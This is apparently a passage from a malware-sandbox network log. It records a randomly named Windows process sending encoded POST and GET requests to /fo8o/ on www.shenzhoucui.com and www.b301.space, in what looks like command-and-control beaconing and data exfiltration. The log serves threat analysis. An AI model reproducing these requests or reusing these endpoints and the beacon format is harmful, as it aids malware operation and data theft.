47	192.168.2.6	64517	72.52.178.23	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:54:01.841324091 CEST	1823	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.shenzhoucui.com Origin: http://www.shenzhoucui.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1245 Referer: http://www.shenzhoucui.com/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 50 49 6e 49 63 4d 6d 76 50 55 67 68 67 48 69 34 62 39 4c 35 67 38 69 4d 58 69 59 69 62 44 58 33 48 35 61 4a 33 36 74 4b 48 71 70 38 6b 6d 34 54 7a 61 5a 79 34 4f 61 57 63 65 4f 30 6d 69 69 56 51 52 36 78 74 52 58 59 73 35 39 39 6b 50 46 4b 63 54 46 45 48 45 45 4f 59 48 31 66 43 51 63 50 6e 39 79 36 64 65 68 2b 44 74 73 4d 41 6f 2f 2b 37 75 56 72 44 36 4b 71 35 47 72 4f 6a 6d 63 2b 39 61 46 6b 68 38 49 37 6f 45 49 52 32 66 61 61 64 32 2f 61 6d 69 6d 59 38 49 73 74 76 48 34 59 36 41 57 75 67 61 6b 7a 75 35 5a 72 68 34 50 76 77 64 52 7a 2b 5a 57 37 4c 76 66 4b 34 2f 4e 59 36 35 62 45 35 46 4a 33 69 54 79 74 6d 55 6b 53 42 2f 49 49 69 4e 37 31 42 46 62 59 79 45 62 4a 2b 47 51 65 69 79 74 6f 63 41 52 77 33 34 4e 5a 6e 61 6e 47 42 71 33 49 79 42 72 79 65 46 48 77 71 45 39 66 64 39 45 2f 58 72 6e 68 32 38 4b 37 78 61 63 42 61 2f 39 63 63 6b 69 63 63 59 65 59 78 54 74 43 6e 38 39 61 75 7a 37 73 77 38 4f 47 38 31 41 67 66 47 48 63 6a 6d 4c 67 78 36 55 6c 6f 6a 48 30 58 6f 34 42 68 64 41 4e 6c [TRUNCATED] Data Ascii: blWd=PInIcMmvPUghgHi4b9L5g8iMXiYibDX3H5aJ36tKHqp8km4TzaZy4OaWceO0miiVQR6xtRXYs599kPFKcTFEHEEOYH1fCQcPn9y6deh+DtsMAo/+7uVrD6Kq5GrOjmc+9aFkh8I7oEIR2faad2/amimY8IstvH4Y6AWugakzu5Zrh4PvwdRz+ZW7LvfK4/NY65bE5FJ3iTytmUkSB/IIiN71BFbYyEbJ+GQeiytocARw34NZnanGBq3IyBryeFHwqE9fd9E/Xrnh28K7xacBa/9cckiccYeYxTtCn89auz7sw8OG81AgfGHcjmLgx6UlojH0Xo4BhdANlFwqzDTETYWZ10lrscV5K8Eq1PofZvv5zY5FuDKGP4i4zAVOfasmDJLhr8c6R9c6Zo5CNvWO1zlbh0+v/M+Zlto7lP8nFK1pYw3/1HWJrglj05aMEbp67zFUG4TYfqBquNenTYuTqUk0/8x4B6sWRdmcog83B3Je3fTbQG1kv/i4BRxqlHKvyWcYelvsj1O6vwD2whKJrW4/wdkJeCXZ0Hra9O/FfTWvjq8KgiO7WhREcxgGDpuc28Jo7pjtYDaNJz+hDiWULbykz+9DuXPMi24b3YKAmGeZldQzye/zYojoge7GDv9pys5kIRCCLTDAKOh6RmReFdbYeKshLxB8BL5Jq/GjOFlvACuWFEeWWB8vtx3YsRaHkcdBPJIBllckVa8/M7/VU1fRWa0VS2r84mh1RNR2E0lUjACdokbF8S2Jrlm0VofwzrrlcH4HeHScS+apPjWbFweY5sXIrQE9IaXBeMFevhG1+o1he5xIFDjqsdzyh38iKq1JP63sXsgOHBAGUyguaLYp2WNwXhT4kXuVToatLXMoMrTNYFRRtteoj5KIUOcAgIBfgPIQjANLxtP0Ic3OGzXxFjqvfwwhCAHrKQjerqxv33Nmjy/eyOdlsBIv11Y/PynlIDeeJx8x8JPpdFVnH+ghYeEpy4iiefAduQuYV5Slvbv [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	64518	72.52.178.23	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:54:04.381237030 CEST	526	OUT	GET /fo8o/?Ixe=Apq4tPPXNdTp2&blWd=CKPof6WmPR8MjyGgZoDlhb60KxQVVSuHH5TS1bRPLOh5omNg/qt+/6bvCL2pthCxfTLrkj/U4P5Lt/hzCRdBTD8WClZdEhsa3dPrDeE1SdlnJbrG6MsWCo/sylvA1Bg/24QA05c= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.shenzhoucui.com Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	64519	194.67.71.191	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:54:10.112143040 CEST	771	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.b301.space Origin: http://www.b301.space Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 209 Referer: http://www.b301.space/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 4e 57 66 33 62 5a 52 6f 59 45 75 4a 37 70 55 4e 41 44 38 34 4b 70 64 35 32 47 7a 54 71 76 67 75 33 31 66 65 75 62 46 52 76 45 65 4f 41 68 4a 4b 75 79 37 2b 30 31 4f 33 37 41 38 46 68 74 6e 4d 6d 46 50 4d 2f 50 67 57 47 55 78 53 31 55 38 76 46 65 6d 61 61 78 6b 73 37 6b 63 48 73 4f 78 57 62 70 49 79 4c 6a 35 38 48 72 2b 75 4e 6a 51 67 77 6b 44 6e 63 39 44 44 6e 46 73 59 75 2f 4e 47 4e 2b 50 75 56 33 4c 54 79 6e 71 66 47 38 76 42 63 31 56 5a 6b 5a 48 4c 62 66 45 30 36 48 42 56 48 66 47 69 5a 59 39 45 32 42 6a 36 62 51 49 6f 4b 77 78 32 41 68 4a 37 72 38 49 65 36 30 39 4d 37 32 6b 6f 47 57 63 2b 6d 7a 79 4d Data Ascii: blWd=NWf3bZRoYEuJ7pUNAD84Kpd52GzTqvgu31feubFRvEeOAhJKuy7+01O37A8FhtnMmFPM/PgWGUxS1U8vFemaaxks7kcHsOxWbpIyLj58Hr+uNjQgwkDnc9DDnFsYu/NGN+PuV3LTynqfG8vBc1VZkZHLbfE06HBVHfGiZY9E2Bj6bQIoKwx2AhJ7r8Ie609M72koGWc+mzyM
Aug 2, 2024 13:54:10.844825983 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 02 Aug 2024 11:54:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 63 62 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6d 6f db d6 15 fe 9e 5f 71 a3 0d 96 94 48 a4 ed c6 6d 63 4b 32 d2 97 0d 03 fa 86 35 dd 30 38 29 71 45 5d 49 8c 29 5e 96 a4 6c 6b b1 81 b8 59 d7 0d cd 50 14 18 30 60 18 da 75 c3 be bb 69 dc ba 79 fd 0b d4 3f da 73 ee 25 25 92 92 63 a7 76 b1 29 b0 22 5e 9e 7b ee b9 e7 e5 39 87 e7 b2 71 b1 23 ed 68 e4 0b d6 8f 06 6e ab 41 df cc e5 5e af 59 12 5e 89 d9 2e 0f c3 66 c9 09 2d de e1 7e e4 6c 89 12 eb f0 88 d7 7d de 13 75 9a d7 2c f9 3c d8 74 bc 5e dd 0e c4 76 09 1c 04 ef b4 1a 03 11 71 66 f7 79 10 8a a8 59 fa e0 fa 2f ea af e2 9e 1a f5 f8 00 b3 02 d9 96 51 88 15 a4 17 09 0f 34 9e 74 bc 8e d8 39 91 aa 2b 5d 57 d2 42 cf 67 c6 03 bb 4f e2 26 74 7e 20 7d 11 44 a3 66 49 f6 56 43 27 12 16 89 91 59 7e 7b 7b db 68 bf b4 b8 64 84 3e b7 e7 4f 1b 06 6e 66 42 3f 8a fc 55 d3 cc cf 33 e7 ae e7 0c a0 ad d9 a9 23 39 0c 06 8e 27 8c 60 68 3a 66 a2 46 b3 e7 ca b6 95 5c 18 be d7 9b e5 d8 6d af 72 df b7 9c 4e 86 e5 f2 ab 8b 2b 57 96 af 2e af 5c 79 e5 e5 97 5f 59 49 27 69 5d 6f [TRUNCATED] Data Ascii: cbeZmo_qHmcK2508)qE]I)^lkYP0`uiy?s%%cv)"^{9q#hnA^Y^.f-~l}u,<t^vqfyY/Q4t9+]WBgO&t~ }DfIVC'Y~{{hd>OnfB?U3#9'`h:fF\mrN+W.\y_YI'i]o9bAv:Q[-xNp<D"'rE+z\|'~?d06>?p1n=v_fpomh/607K)6KvB*5}e>mno9:go^3k;J]uIWiW5wG-Ro\~mya-(+$&=;rW[`^yuIIy4MltErz28[0#:aUrH#e+NWw"Z[<`6PZ\|ieeJit#")Mbj#`&u'DVH+J:1gxs<Ki{S>T', \|P`#[m&4]0+8VI%?b&5RBm0}sMw`eS pg),k;AV#127H}P`Q;CZ`YL)AHQ\|XcO.?{=#^v@,ME>CrVvT\|jJ< [TRUNCATED]
Aug 2, 2024 13:54:10.844846964 CEST	1236	IN	Data Raw: bf 17 16 81 f6 70 80 41 65 35 cb 9a b0 cb 5d eb e0 40 a2 76 25 b2 5e c1 8b 69 4f e4 c9 b6 1c 98 1d 49 ee 65 26 94 16 7c c3 91 1d 8b 23 62 46 03 39 0c d7 95 66 9a 79 2d 2c 0c a3 81 15 22 e1 da 62 de 1d 2d 61 53 ec f8 4e 20 3a 8a d8 e6 03 9f 3b 3d Data Ascii: pAe5]@v%^iOIe&\|#bF9fy-,"b-aSN :;= g4LfBnE$bV)\|^_HN@"+Op}*Si:/M=Nw2MeiDE"-~"t [-uGZ[4_=7(co6Khf
Aug 2, 2024 13:54:10.844861031 CEST	976	IN	Data Raw: 54 6f 73 9d 49 79 6e 62 30 f3 86 51 09 86 bb e1 70 17 51 fc 87 ea cf cd de ac a1 c8 4b 74 ab 4d 89 f7 5c 5f 2b a3 a9 08 9b 97 4f e3 6e 19 9e 27 39 5d 86 54 1b 5e 9d 2b 19 1d 27 f4 5d 3e 82 44 65 c7 83 70 78 be cc a9 34 ab 08 b2 54 a2 0e da 90 3e Data Ascii: TosIynb0QpQKtM\_+On'9]T^+']>Depx4T>`+(eMnP/L2>\|mtHLtM-fdDL6$Bk"-Az[:qO<t%F$rp$KZ:zq;T3RWIx[X8r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	64520	194.67.71.191	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:54:12.646102905 CEST	795	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.b301.space Origin: http://www.b301.space Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 233 Referer: http://www.b301.space/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 4e 57 66 33 62 5a 52 6f 59 45 75 4a 36 4e 6f 4e 4d 41 6b 34 62 35 64 34 71 32 7a 54 67 50 67 71 33 31 62 65 75 65 6f 4d 73 79 4f 4f 4f 6b 74 4b 74 33 48 2b 31 31 4f 33 6a 77 38 4d 73 4e 6e 35 6d 46 44 75 2f 4b 59 57 47 53 64 53 31 57 30 76 46 70 79 56 62 68 6b 71 69 30 63 46 69 75 78 57 62 70 49 79 4c 6a 74 57 48 71 57 75 4d 58 55 67 77 47 72 6b 56 64 44 43 7a 56 73 59 71 2f 4e 43 4e 2b 50 59 56 31 2b 45 79 6c 53 66 47 39 66 42 63 67 30 50 74 5a 48 4a 52 2f 45 6c 35 45 70 52 42 76 53 6b 57 71 4a 46 33 44 57 66 54 47 4a 79 57 44 78 56 53 78 70 35 72 2b 51 73 36 55 39 6d 35 32 63 6f 55 42 51 5a 70 48 58 76 58 4a 54 67 69 58 51 78 6a 6f 71 30 65 31 6b 4f 34 57 38 42 75 77 3d 3d Data Ascii: blWd=NWf3bZRoYEuJ6NoNMAk4b5d4q2zTgPgq31beueoMsyOOOktKt3H+11O3jw8MsNn5mFDu/KYWGSdS1W0vFpyVbhkqi0cFiuxWbpIyLjtWHqWuMXUgwGrkVdDCzVsYq/NCN+PYV1+EylSfG9fBcg0PtZHJR/El5EpRBvSkWqJF3DWfTGJyWDxVSxp5r+Qs6U9m52coUBQZpHXvXJTgiXQxjoq0e1kO4W8Buw==
Aug 2, 2024 13:54:13.348253965 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 02 Aug 2024 11:54:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 63 62 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6d 6f db d6 15 fe 9e 5f 71 a3 0d 96 94 48 a4 ed c6 6d 63 4b 32 d2 97 0d 03 fa 86 35 dd 30 38 29 71 45 5d 49 8c 29 5e 96 a4 6c 6b b1 81 b8 59 d7 0d cd 50 14 18 30 60 18 da 75 c3 be bb 69 dc ba 79 fd 0b d4 3f da 73 ee 25 25 92 92 63 a7 76 b1 29 b0 22 5e 9e 7b ee b9 e7 e5 39 87 e7 b2 71 b1 23 ed 68 e4 0b d6 8f 06 6e ab 41 df cc e5 5e af 59 12 5e 89 d9 2e 0f c3 66 c9 09 2d de e1 7e e4 6c 89 12 eb f0 88 d7 7d de 13 75 9a d7 2c f9 3c d8 74 bc 5e dd 0e c4 76 09 1c 04 ef b4 1a 03 11 71 66 f7 79 10 8a a8 59 fa e0 fa 2f ea af e2 9e 1a f5 f8 00 b3 02 d9 96 51 88 15 a4 17 09 0f 34 9e 74 bc 8e d8 39 91 aa 2b 5d 57 d2 42 cf 67 c6 03 bb 4f e2 26 74 7e 20 7d 11 44 a3 66 49 f6 56 43 27 12 16 89 91 59 7e 7b 7b db 68 bf b4 b8 64 84 3e b7 e7 4f 1b 06 6e 66 42 3f 8a fc 55 d3 cc cf 33 e7 ae e7 0c a0 ad d9 a9 23 39 0c 06 8e 27 8c 60 68 3a 66 a2 46 b3 e7 ca b6 95 5c 18 be d7 9b e5 d8 6d af 72 df b7 9c 4e 86 e5 f2 ab 8b 2b 57 96 af 2e af 5c 79 e5 e5 97 5f 59 49 27 69 5d 6f [TRUNCATED] Data Ascii: cbeZmo_qHmcK2508)qE]I)^lkYP0`uiy?s%%cv)"^{9q#hnA^Y^.f-~l}u,<t^vqfyY/Q4t9+]WBgO&t~ }DfIVC'Y~{{hd>OnfB?U3#9'`h:fF\mrN+W.\y_YI'i]o9bAv:Q[-xNp<D"'rE+z\|'~?d06>?p1n=v_fpomh/607K)6KvB*5}e>mno9:go^3k;J]uIWiW5wG-Ro\~mya-(+$&=;rW[`^yuIIy4MltErz28[0#:aUrH#e+NWw"Z[<`6PZ\|ieeJit#")Mbj#`&u'DVH+J:1gxs<Ki{S>T', \|P`#[m&4]0+8VI%?b&5RBm0}sMw`eS pg),k;AV#127H}P`Q;CZ`YL)AHQ\|XcO.?{=#^v@,ME>CrVvT\|jJ< [TRUNCATED]
Aug 2, 2024 13:54:13.348283052 CEST	1236	IN	Data Raw: bf 17 16 81 f6 70 80 41 65 35 cb 9a b0 cb 5d eb e0 40 a2 76 25 b2 5e c1 8b 69 4f e4 c9 b6 1c 98 1d 49 ee 65 26 94 16 7c c3 91 1d 8b 23 62 46 03 39 0c d7 95 66 9a 79 2d 2c 0c a3 81 15 22 e1 da 62 de 1d 2d 61 53 ec f8 4e 20 3a 8a d8 e6 03 9f 3b 3d Data Ascii: pAe5]@v%^iOIe&\|#bF9fy-,"b-aSN :;= g4LfBnE$bV)\|^_HN@"+Op}*Si:/M=Nw2MeiDE"-~"t [-uGZ[4_=7(co6Khf
Aug 2, 2024 13:54:13.348309040 CEST	976	IN	Data Raw: 54 6f 73 9d 49 79 6e 62 30 f3 86 51 09 86 bb e1 70 17 51 fc 87 ea cf cd de ac a1 c8 4b 74 ab 4d 89 f7 5c 5f 2b a3 a9 08 9b 97 4f e3 6e 19 9e 27 39 5d 86 54 1b 5e 9d 2b 19 1d 27 f4 5d 3e 82 44 65 c7 83 70 78 be cc a9 34 ab 08 b2 54 a2 0e da 90 3e Data Ascii: TosIynb0QpQKtM\_+On'9]T^+']>Depx4T>`+(eMnP/L2>\|mtHLtM-fdDL6$Bk"-Az[:qO<t%F$rp$KZ:zq;T3RWIx[X8r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	64521	194.67.71.191	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:54:15.179466009 CEST	1808	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.b301.space Origin: http://www.b301.space Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1245 Referer: http://www.b301.space/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 4e 57 66 33 62 5a 52 6f 59 45 75 4a 36 4e 6f 4e 4d 41 6b 34 62 35 64 34 71 32 7a 54 67 50 67 71 33 31 62 65 75 65 6f 4d 73 79 47 4f 4f 57 6c 4b 75 51 54 2b 76 31 4f 33 39 41 38 42 73 4e 6e 6b 6d 46 62 71 2f 4b 6b 6f 47 58 42 53 30 31 73 76 55 6f 79 56 52 68 6b 71 71 55 63 59 73 4f 78 6d 62 6f 6b 2b 4c 6a 39 57 48 71 57 75 4d 52 34 67 35 30 44 6b 54 64 44 44 6e 46 73 45 75 2f 4e 71 4e 2b 47 74 56 31 71 55 79 56 79 66 46 64 50 42 65 55 55 50 6d 5a 48 48 57 2f 46 34 35 45 30 50 42 75 2f 62 57 71 52 72 33 44 79 66 44 77 6f 49 47 79 67 4a 42 78 46 46 2f 4d 41 4e 31 43 70 51 31 33 30 79 59 51 49 6c 71 30 6a 43 62 66 4c 70 71 58 6c 76 6a 37 36 2f 61 41 74 36 38 6b 6c 6d 7a 72 64 76 57 42 64 47 35 6c 39 46 33 4a 44 4e 4e 41 42 66 69 31 6d 75 51 6a 66 32 2f 78 65 4a 6e 4c 48 46 47 33 39 43 61 43 76 49 70 2b 33 70 68 48 6a 74 47 2b 42 42 76 2f 68 2f 46 54 53 69 76 49 4c 68 49 43 53 6b 4c 43 38 31 64 67 75 30 6c 63 6d 41 31 49 78 62 79 6a 54 6b 47 73 42 71 39 31 6e 67 53 58 4a 41 6b 77 58 44 4e [TRUNCATED] Data Ascii: blWd=NWf3bZRoYEuJ6NoNMAk4b5d4q2zTgPgq31beueoMsyGOOWlKuQT+v1O39A8BsNnkmFbq/KkoGXBS01svUoyVRhkqqUcYsOxmbok+Lj9WHqWuMR4g50DkTdDDnFsEu/NqN+GtV1qUyVyfFdPBeUUPmZHHW/F45E0PBu/bWqRr3DyfDwoIGygJBxFF/MAN1CpQ130yYQIlq0jCbfLpqXlvj76/aAt68klmzrdvWBdG5l9F3JDNNABfi1muQjf2/xeJnLHFG39CaCvIp+3phHjtG+BBv/h/FTSivILhICSkLC81dgu0lcmA1IxbyjTkGsBq91ngSXJAkwXDNujAcP/u5ZYswgtA/60QJVKdLJG4Kk9Fhlwyai/uVPLl4ZFJmgC9ztEu0GO8F/sKmnfVppK97udBAhlp4zXcA3ypUqhL8xH/ETSuO9b7+/yaAuRGmqUke5CLWSjNrP0F7Y2s+GTi4a54QtqBDKLYzE9tgHFvrTDv/tyIYMkeWTXz2F/RkEzqlaGt3eCthNFoMe9Hir165I3H1Bgy+J4IaJQ8xhUPnaFeue5y3NkX3olr8JZZ5T89Epzm7xuF8a+SHdfLglbql8Lft/X/XTsm5RLmWI/+adcLvVgxmGJj5zlQG1P1+GQPLBDElUGSuFgkwRhSIlfmxJd8dLe5dvWlD2fO6ALCHTqjGhfk7ONMMDynIckWM4LBtQVJyy8X87LeGRgWUsl/PO0l//J2URKCAzSAJ5dkjh8bWR6vqMm0xao9MR0ol7ZcqJH+QyJY0uwJwZGVEqGxTgd084fDEJlFZGKttoSFDKqSzgG4T7vHe8ZyZrG4O0SHBrjKVTziBwecHPLJtDXv3ew+IDe9gbIZmI7w/pY9BO1KoB9Lix2hovPlmBSRzl3Tvky3BR5gxy4+ssxw9zirCPCmJAgdlM4ZmtWQHxFOc8yatskMAP1cfOu5rcysx0OEVftESttjuskYnRnZo4cpVJEMIdZFN6MIlOWgFU7zKiJHnAC [TRUNCATED]
Aug 2, 2024 13:54:15.888492107 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 02 Aug 2024 11:54:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 63 62 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6d 6f db d6 15 fe 9e 5f 71 a3 0d 96 94 48 a4 ed c6 6d 63 4b 32 d2 97 0d 03 fa 86 35 dd 30 38 29 71 45 5d 49 8c 29 5e 96 a4 6c 6b b1 81 b8 59 d7 0d cd 50 14 18 30 60 18 da 75 c3 be bb 69 dc ba 79 fd 0b d4 3f da 73 ee 25 25 92 92 63 a7 76 b1 29 b0 22 5e 9e 7b ee b9 e7 e5 39 87 e7 b2 71 b1 23 ed 68 e4 0b d6 8f 06 6e ab 41 df cc e5 5e af 59 12 5e 89 d9 2e 0f c3 66 c9 09 2d de e1 7e e4 6c 89 12 eb f0 88 d7 7d de 13 75 9a d7 2c f9 3c d8 74 bc 5e dd 0e c4 76 09 1c 04 ef b4 1a 03 11 71 66 f7 79 10 8a a8 59 fa e0 fa 2f ea af e2 9e 1a f5 f8 00 b3 02 d9 96 51 88 15 a4 17 09 0f 34 9e 74 bc 8e d8 39 91 aa 2b 5d 57 d2 42 cf 67 c6 03 bb 4f e2 26 74 7e 20 7d 11 44 a3 66 49 f6 56 43 27 12 16 89 91 59 7e 7b 7b db 68 bf b4 b8 64 84 3e b7 e7 4f 1b 06 6e 66 42 3f 8a fc 55 d3 cc cf 33 e7 ae e7 0c a0 ad d9 a9 23 39 0c 06 8e 27 8c 60 68 3a 66 a2 46 b3 e7 ca b6 95 5c 18 be d7 9b e5 d8 6d af 72 df b7 9c 4e 86 e5 f2 ab 8b 2b 57 96 af 2e af 5c 79 e5 e5 97 5f 59 49 27 69 5d 6f [TRUNCATED] Data Ascii: cbeZmo_qHmcK2508)qE]I)^lkYP0`uiy?s%%cv)"^{9q#hnA^Y^.f-~l}u,<t^vqfyY/Q4t9+]WBgO&t~ }DfIVC'Y~{{hd>OnfB?U3#9'`h:fF\mrN+W.\y_YI'i]o9bAv:Q[-xNp<D"'rE+z\|'~?d06>?p1n=v_fpomh/607K)6KvB*5}e>mno9:go^3k;J]uIWiW5wG-Ro\~mya-(+$&=;rW[`^yuIIy4MltErz28[0#:aUrH#e+NWw"Z[<`6PZ\|ieeJit#")Mbj#`&u'DVH+J:1gxs<Ki{S>T', \|P`#[m&4]0+8VI%?b&5RBm0}sMw`eS pg),k;AV#127H}P`Q;CZ`YL)AHQ\|XcO.?{=#^v@,ME>CrVvT\|jJ< [TRUNCATED]
Aug 2, 2024 13:54:15.888547897 CEST	1236	IN	Data Raw: bf 17 16 81 f6 70 80 41 65 35 cb 9a b0 cb 5d eb e0 40 a2 76 25 b2 5e c1 8b 69 4f e4 c9 b6 1c 98 1d 49 ee 65 26 94 16 7c c3 91 1d 8b 23 62 46 03 39 0c d7 95 66 9a 79 2d 2c 0c a3 81 15 22 e1 da 62 de 1d 2d 61 53 ec f8 4e 20 3a 8a d8 e6 03 9f 3b 3d Data Ascii: pAe5]@v%^iOIe&\|#bF9fy-,"b-aSN :;= g4LfBnE$bV)\|^_HN@"+Op}*Si:/M=Nw2MeiDE"-~"t [-uGZ[4_=7(co6Khf
Aug 2, 2024 13:54:15.888554096 CEST	976	IN	Data Raw: 54 6f 73 9d 49 79 6e 62 30 f3 86 51 09 86 bb e1 70 17 51 fc 87 ea cf cd de ac a1 c8 4b 74 ab 4d 89 f7 5c 5f 2b a3 a9 08 9b 97 4f e3 6e 19 9e 27 39 5d 86 54 1b 5e 9d 2b 19 1d 27 f4 5d 3e 82 44 65 c7 83 70 78 be cc a9 34 ab 08 b2 54 a2 0e da 90 3e Data Ascii: TosIynb0QpQKtM\_+On'9]T^+']>Depx4T>`+(eMnP/L2>\|mtHLtM-fdDL6$Bk"-Az[:qO<t%F$rp$KZ:zq;T3RWIx[X8r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	64522	194.67.71.191	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:54:17.711461067 CEST	521	OUT	GET /fo8o/?blWd=AU3XYvZFaGSlytwuLg8MPaUQqx3yoZo+slWhncsJrkz7OmZN7i/xsh6l91syvPfChHr514cSZiYi12sQUpLBNWUGgXkiv5tYdsczWAt3YIqQCRozzWbYSNnfkFwi3fxcOtzIASs=&Ixe=Apq4tPPXNdTp2 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.b301.space Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Aug 2, 2024 13:54:18.417612076 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 02 Aug 2024 11:54:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 32 36 33 34 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 63 6c 61 73 73 3d 22 69 73 5f 61 64 61 70 74 69 76 65 22 20 64 61 74 61 2d 70 61 67 65 2d 74 79 70 65 3d 22 70 61 72 6b 69 6e 67 2d 63 72 65 77 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 77 77 2e 62 33 30 31 2e 73 70 61 63 65 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 62 33 30 31 2e 73 70 [TRUNCATED] Data Ascii: 2634<!doctype html><html lang="en" class="is_adaptive" 